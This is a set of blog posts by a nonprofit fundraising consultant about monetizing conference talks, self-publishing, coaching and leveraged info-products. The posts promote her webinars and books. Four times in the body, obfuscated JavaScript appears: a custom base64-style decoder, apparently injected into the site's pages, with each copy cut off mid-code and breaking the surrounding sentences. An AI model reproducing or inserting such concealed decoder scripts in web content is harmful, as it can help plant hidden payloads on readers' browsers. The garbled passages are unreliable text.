Do you know how to monetize a conference?
Speaking at a conference is a great way to share your knowledge and build your list of followers. Yet, if you don't have a clear plan for follow up or the offer you want to make, you can walk away empty-handed. 
My assistant and I are in Jacksonville, Florida for the No More Homeless Pets conference. There are about 1500 attendees here and it's been a blast! I thought I'd share a little bit about how we planned for success.
About 3 weeks ago, my team and I sat down to strategize our opportunities at this conference. Our main goals were to help as many people as possible through my 2 presentations, and offer continued learning through my products which we sold in our exhibit booth. I knew from past experience with this conference that there would be lots of newbies here (and there are) so we put together a 3-part webinar series specifically for folks working in animal rescue who are just getting started. Our goal was to sign up 300 people in that webinar series. If you want to see what we're doing in that webinar series, go to www.GetFullyFunded.com/Sit-Stay-Give.
Both of my presentations were full (maybe 125-150 people in the room each time) and each time I gave away a copy of one of my books so I could collect business cards. THAT DAY we put the cards into our database and sent out an email to those folks with an additional nugget similar to what they learned in the session. I invited them to visit us in the exhibit hall and also reminded them about the webinar series.
Our time in the exhibit hall has been wild and crazy! We are swamped in there with people talking with us about our products, the webinar series, and private coaching. We think it's going to take at least a week to do all the follow up calls from this event, and I believe we will be able to close some sales and welcome some new clients on board.
Here are some nuggets I want to make sure you're getting from this story.
- Go in with a plan. Don't wait until after a conference to figure out how to follow up. By then it's too late.
- Have something to offer that people want. The webinar series we created is specifically for animal rescue folks (which all of these people are) and they LOVE that it's just for them. Lots of people are jumping on it.
- Bring help. There's NO WAY I could have worked this conference by myself, and I'm not really sure that only bringing 1 extra person was enough. I think we could have used a third person, because when people were standing 2 and 3 deep at our booth, we couldn't talk with everyone, and I don't like that.
- Make sure that everything you do leads to the outcome you want. If you want to pick up clients, make sure your materials, your presentations (if you get to speak), any giveaways you have, and everything about you and your company builds trust and leads to the decision you want your prospect to make. Otherwise, you're wasting your time.
- The burden of follow up is on you, not your prospects. I learned this one the hard way. I used to give out my card, then sit back and wait for people to call me. Now, thanks to the great coaching I've received over the past year or so, I know better. I'd MUCH rather have cards and be able to make those follow up calls myself. There's opportunity aplenty out there, but if we wait for it to come find us, we may be disappointed.
If you're a speaker, then be the best speaker you can be because there are lots of conferences and meetings out there where you can show off your knowledge. Just be ready to monetize it so you can support yourself while you're being of service to others.
Challenging the status quo
When you run a business, you’re either moving forward or going backward. There is no standing still. And I'm guessing that since you're reading this, you're probably running a business.
If you think you can just go with the flow, you're in for a rude awakening. At some point, you'll find that the rest of the world has passed you by, and you've got tons of catching up to do.
I tend to move myself forward in some pretty big ways on a regular basis. That's why I invest in myself regularly with coaches and epxerts that can stretch my thinking, challenge me, and help me reach for more.
Today was one of those days where I did all of that. (And I'm a bit pooped!)
I spent today with Matthew Goldfarb at Corporate Renegade in western Massachusetts. We talked about my messaging all day (yep, you really can focus on one topic ALL DAY!). It was exciting, fun, scary, exhilarating, and productive. Matthew and his team are working on several pieces for me that I think will enable me to springboard forward in a BIG way.
While I'm waiting for Goldfarb to work his magic, I thought I'd share a couple of my takeaways from this experience with you.
1. Growth is not always convenient. Sometimes you have to get your ass on a plane and fly to some random town (and sometimes rent a car and drive forever) to get yourself in front of someone who can help you. If you think you can wait until the opportunity to learn and grow shows up your doorstep, you're sadly mistaken.
2. The sheer act of investing in yourself can move you forward. Every time I pay for coaching, I feel different. Somewhow my business feels more real and I feel more committed to it before I ever get the first piece of advice. There's just something about spending big money on myself that helps me see where my priorities are.
3. You get what you pay for. Try to take the cheap route, and you'll get cheap results. I don't know about you, but I don't want cheap for my business!
4. It's usually easier with support. I took one of my team members with me on this adventure. My right arm for the past several years has been my Marketing gal Kristina Shands. I paid for her to accompany me so she could hear first-hand what was said and be able to implement it in the work she's doing. Yes, it was an additional investment, but so worth it. Halfway through the morning, I was SO glad I brought her. Plus, we had a great time on the trip.
I'm in the habit now of regular evaluation of my business to see where I am and what I most need to learn. I'm looking for the areas where I need to improve in order to take my business to the next level. I encourage you to do the same.
Where do you need to shore up your knowledge? Accounting? Customer service? Marketing? Remember that as a consultant, you're running a business. You can't just be good at delivering the service you're here to provide. You've also got to be a good business owner, which means you must learn to wear many hats. Get really good at being a good entrepreneur and you'll be well on your way to having the business of your dreams.
Why I love self publishing
Two of the biggest rejections of my life set me on one of my greatest paths to success.
About 15 years ago, I submitted my very first (and only) book proposal to one of the biggest publishing companies in the nonprofit industry. I had a dream of writing a book, and I thought this was my sure path to success. I was so excited and could picture the book in my hands. Lots of people loved what I had to say about fundraising, and I knew the book would be a success. function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
It was a bit of a rude awakening when the publisher rejected me cold. Ouch! It was painful and hard to take.
But it was such a huge favor to me.
I wasn't deterred. I started looking for other ways to get my book out there. And lo and behold, I found the world of self publishing.
Self publishing a book means that you take responsibility for all aspects, from layout to cover design to marketing. I was so willing to get my book out there, that I spend the time necessary to learn what I needed to know to be successful. That was many years and several books ago.
I have a colleague (I won't share her name, but if I did, you'd probably recognize the name) who published her book through a traditional publishing company. She still had to do most of the marketing, she deals with some pretty tight restrictions, and she makes $1 for every book sold. Yep, you read that right.
If you want to make money from the sale of your book, self publishing is the way to go. Here are some specific reasons I love self publishing:
- Control of the content. When I publish a book myself, I am in complete control of the content. I get to decide on the topic, the main points and the theme of the book, the structure of the material, the layout, and everything about the material. Of course the downside is that if I mess up, it's my own fault (no one to blame it on!).
- Flexibility in promotion. As the book's publisher, I get to choose the methods used to promote the book. Over the years, my team and I have created a repeatable launch plan to get a book out into the world. It works every time for us, generating lots of awareness and selling lots of books. And the nice thing is that I can do the pieces I want to do - if I want to do a book tour or a book signing, I can. If I don't want to, I don't have to. Easy as that.
- All the cash in my pocket. I don't have to split the proceeds with a publisher when I self publish. My first book, "Fundraising Buffet" costs my about $7 to print. It sells for about $20, which means my profit margin is $13. It may not seem like a heck of a lot of money, but believe me, it adds up.
I'll be honest - the downside of self publishing is that all the responsibility sits in your lap. That means you've got to have the discipline to get your book written and the street-smarts to do the marketing and promotion. If you already have a tribe or a list of followers, promotion isn't that hard. And when your book is something your audience is hungry for, promotion is quite easy.
Is there a book in your head?
Many people dream of writing a book, but few actually do it. (Less than 2% of people who want to write a book, do it).
If you’re a consultant or want to grow your business, the right book is KEY. In this video, I explain a bit about that.
On Tuesday, August 20, at 8 pm eastern, I’m hosting a one-of-a-kind webinar to talk about how to leverage your book to create lots of other stuff in your business. Read all about it and sign up at http://bit.ly/16pe0VN. "See" you there!
Here’s my top 3 – what’re yours?
There are all kinds of reasons to want to write and publish a book. It gives you credibility, creates a platform for a business, and much more.
Here are my top 3 reasons for writing books:
- My books give me instant credibility. When folks are considering me as a speaker, it helps that I've written books, and can bring them to sell at conferences and events. (Yes, event organizers actually WANT me to sell my stuff!)
- I love that I've already left a bit of a legacy put taking the knowledge out of my head and put it into writing. I can help a limited number of people working one-on-one. I can help millions through a printed book.
- I really love the passive income I earn nearly every day from selling books on my website. In fact, in 2012, I made more money on books and products than I did in my last paying job!
It takes commitment to get a book put together. There are lots of things to think about, like the content of the book, the cover, who will publish it and how you'll promote it. And it's easy to get overwhelmed. (I almost didn't publish my first book because of perfectionism, but that's a different story.)
Today, we have so many more options for getting help than we did 15 years ago when I started working on my first book. I wish I'd known then what I know now You can get a writing coach to help you organize your thoughts or a publishing coach to guide you through the whole process. I stumbled blindly through it all with my first book, figuring things out as I went.
Yet, despite all the peaks and valleys, I'd do it again in a heartbeat. And I will. I've already got my next book cooking in my thoughts. 🙂
If you're thinking about writing a book, I encourage you to go for it. There are lots of people out there who need to read what you have to share. Thereare people who will only be able to understand it in the way you explain it.
So, start by making the decision to do it. Then either figure out the rest or find someone to help you.
Want help? function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
What makes you different?
So you’re a nonprofit fundraising consultant? Big deal. There are thousands of others just like you.
What makes you different? What’s your movement?
If you don’t know, I suggest you get a copy of “Renegade Thoughts” by Matthew Goldfarb. 
Goldfarb is the founder of Corporate Renegade and is brilliant when it comes to marketing and messaging. He says that we should stop fitting in and start standing out. And “Renegade Thoughts” will explain how to do it.
Let me share a few of my favorite parts of the book:
- Strive to become unemployable. I’ve considered myself unemployable for years, because I refuse to compromise my standards. Turns out, I was right. Matthew says unemployable means “you value yourself too much to lower your standards for someone else.” There’s a lot of value in being very clear in your beliefs and values, and being unwilling to give in.
For example, I’m a firm believer that any nonprofit can raise all the money it needs to fulfill its mission if it follows some basic principles. The main one is that big money is raised through individuals following donor-based fundraising. Lots of people approach me wanting me to promote candy-bar sales, and the like, and I won’t do it. I’m not willing to back off my belief in exchange for a few dollars.
- Know what pisses you off. The best way to stand out is to take a stand for what you believe in. The fastest way to figure out what you stand for is to uncover what pisses you off. Anger is a strong emotion and will unleash your passion for what you really care about.
One thing that pisses me off is nonprofit leaders who won’t go for big fundraising goals because they’re scared. They are happy being mediocre instead of setting a big goal and going for it. Sometimes it’s because they are afraid of failure or of being embarrassed. At any rate, it holds the nonprofit back, and prevents programs from being started or enhanced. And that’s NOT okay with me!
- Stop Playing Small. Smallness doesn’t serve anyone. If you’re playing small, you probably know it in your heart. You know you have a big message to share with the world, and you KNOW you’re not doing all you can to get it out there.
Smallness looks like this:
- Not promoting your services because you don’t want the spotlight or you don’t want to brag.
- Not getting on a plane to go to a conference to speak because “it’s so far.”
- Talking yourself out of investing in coaching because “it’s too much money.”
function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
You are here on this planet to share your gifts! Are you going to play small and only serve a handful of clients, or are you going to play full-out and serve as many nonprofits as you can?
I encourage you to get a copy of “Renegade Thoughts” and visit Goldfarb’s website at www.corporaterenegade.com.
What’s your calling?
Are you doing the work you are here on this planet to do?
If you’re a heart-centered consultant, you love working in the nonprofit world. You love knowing that the work you do helps people and changes lives. You love the warmth and satisfaction you feel in your heart at the end of a well-done day.
It can be easy to pour your whole heart and soul into your work because you care that much.
But sometimes, you can get out of alignment with that calling, or worse, resist it.
If you’re like me, you know what you’re supposed to be doing, but you either get distracted, get scared, or something gets in the way.
I read a great book recently that helped me get my feet firmly planted on the path of my calling. The book is “Inspired & Unstoppable: Wildly Succeeding in Your Life’s Work” by Tama Kieves. 
In the book, Tama says “You’re meant to succeed in the work you love.” What that means is that you’re not here just to do the work, but be successful in it. You’re MEANT to do big things.
I think that I was created for exactly the work I do. Both of my grandfathers were preachers. My dad was very involved in community and charitable work. It was inevitable for me to be a trainer and fundraising coach. And if that’s my gift, why not be the best trainer and fundraising coach I can be? Why not help as many people as possible?
So how about you? How can you be the best ______ you can be? (Insert whatever you call yourself)
When I worked at the food bank, I knew that when I did my job well, people ate. At the rescue mission, I knew that my success gave people a hot meal and a roof for a night. What I did mattered.
It’s time for us to ALL step up to our calling and embrace it whole-heartedly. No more hiding. No more fear. Just playing full out.
Tama says “If you’re willing to leave the pack behind, you will come into an inspired power that will blow away your hesitations, your limits, and your training wheels.” Can you imagine what it would feel like to have an inspired power fueling you?
Let’s try it and see. The world is full of hurting people who need what we have to offer.
What product will you create next?
I launched a new product today! I’m so excited about it and about how well it's being received.
A successful launch means that I'll get great information in the hands of the people who need it, and create a nice payday for myself in the process. Plus, I've had this product in mind for some time now, and I'm thrilled to get it out of my head. Now that it's created, it's a legacy I can leave of my knowledge.
People are always asking me how I do it, so I thought I'd share a few things I've learned about creating information products.
- Make sure you have a hungry audience before you start creating a product. If people don't want it, they won't buy it, even if they really need it. Do your homework to find out what they would do anything or pay anything for.
- Put strategy first. Before you begin the creative process, figure out how you will market the product. It won't do you any good to write the best book in the world if you don't have a way to get it into the hands of the people who need it. I know lots of people who have boxes and boxes of books in their garage and it's sad - all those resources just going to waste.
- Create your product in the format that people want. In other words, find out if your audience wants a book, an ebook, a video, an audio, or some combination. Don't create somethng using the format you like. Put it in the format they want.
- Make sure the product you create fits with the rest of your offerings. If your business is geared toward helping nonprofits with fundraising, don't create a gardening book. Keep it on topic.
- Know how your new product will fit in your marketing funnel. Will your product be an introductory piece to help people get to know you and your expertise? Or will it be a cornerstone of your services? Knowing where it fits will help you position and price the product.
- Show the value. When you talk to people about your new product, make sure you illustrate the value it will bring to them. Don't expect them to figure it out for themselves. Tell them how it will save them time, help them raise more money, shorten their learning curve, lower their stress, etc.
Finally, be clear that having a book or a product is cool, but writing it is only half the work. It takes planning and promotion to really see the fruits of your labor.
My $25,000 idea
For as long as I can remember, I’ve always wanted to write a book.
I think I was 6 when I wrote my first short story. That must have been about the same time that my first grade teacher started sending me to the library during certain lessons because I kept getting bored.
Fast forward many years.
After working in fundraising a while and helping others, I knew I could write a book about raising money, making it easy to understand. I have a gift for teaching, and I knew that writing a book was essentially putting my teaching on paper. I didn't really know where to start or how to get my book published, so the idea sat in my head for many years.
Fast forward a few more years.
As an entrepreneur, I learned about creating a signature system to document my personal method of helping nonprofits raise money. Since I'd already been helping lots of folks, it wasn't too hard to do and the Get Fully Funded system was born.
In October of 2011, the Get Fully Funded system was unveiled as a home-study book, complete with worksheets, templates, and all the tools someone would need to implement it themselves. My team and I spent a lot of time planning the launch to get the book into the hands of as many people as possible. (In fact, we still use that same launch plan when we bring a new product to the world).
I was reviewing my numbers the other day and realized how much money I've made from that one book. In about 18 months, the Get Fully Funded home-study system has generated about $25,000 for me. Can I get a woohoo? 🙂
The nice thing about the book is that it continues to sell regularly from my website. We have systems in place now to produce and ship the book, so I don't have to physically do anything anymore to get the book in the customers' hands. This is passive income at its best!
So, let me ask you: What's your $25,000 idea?
What's gift can you bring to the nonprofit world that you can turn into a product to help lots of folks and add money to your bottom line? Right now,
I'm helping a client refine her signature system and create more passive and leveraged income so she can do more of what she loves and make more money at the same time. I can't wait to see what she does in just a few months! She's got a product already in production, and using my experience, I'll be able to help her avoid a lot of mistakes. (Sure wish I'd had someone like that when I launched my first product!)
If you aren't sure what your signature system is or what you can do to add $25,000 to your bottom line, I'd be happy to help you figure it out. Go to HelpMeSandy.com to schedule a free strategy session.
Help more nonprofits in the same amount of time
I’m sure you’ve heard the saying “work smarter, not harder.”function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
We all want to do that. We want to find a way to get more done without working more hours. Sometimes we think if we're clever enough or if we find the right time management tool, we can do it!
Well, I want to tell you that there is a way for you to serve more nonprofit clients and make more money without spending more time doing it. It's about leverage.
Leverage is about using a fulcrum to gain more power. As an entrepreneur, you need to gain more power over your day.
There are lots of ways you can leverage yourself. The most important one is for you to think about working with multiple clients at a time. Work one-to-many instead of one-to-one. When you work with one client at a time, there's a ceiling to the number of people you can help. You can physically only help a limited number of people.
But, when you work with multiple clients at once, you can dramatically increase the number of nonprofits you can serve.
So, what does leverage look like? Here are two common strategies:
- Group work. If you have multiple clients that are all experiencing the same problems, you can work with them all together, and only have to explain the solution one time instead of many times. You could offer a workshop to help a group of clients at one time, or you could do a 4-week coaching program, teaching for only an hour each week. With all the technology we have available to use, groups are just as easy to do virtually as they are in person.
- Products. If there are hundreds or thousands of people who need your expertise, think about creating an info-product to help them. This is a great way to leverage yourself! You create the product once, offer it on your website, then help countless nonprofits get the solution they need. Products can be books, audios, videos, workbooks, home study kits, or something else. The possibilities are endless!
The nice thing about leveraged income strategies is that they give you a way to offer something at a lower price point than your normal consulting rate, which makes it much more affordable for your clients and prospects. And oddly enough, you can make more money. Let me share an example.
In the Spring of 2012, I came across a way to do livestream training. A client had a studio that was largely sitting empty, and the first time I saw it, I knew exactly what I could do with it. My Simple Success Fundraising Plan was a popular product, and I really wanted to offer it in a new way. So I offered livestream training based on the book at a lower pricepoint, and had dozens of people jump on it. I made several thousand dollars teaching the material I already had, and had a great time doing it! Dozens of people got the help they needed putting a written fundraising plan together. It was a total win!
Products and groups are a lot easier to set up and run than you might think. If you need help, shoot me an email and we'll set up a free strategy session to see what form of leverage makes the most sense for you.
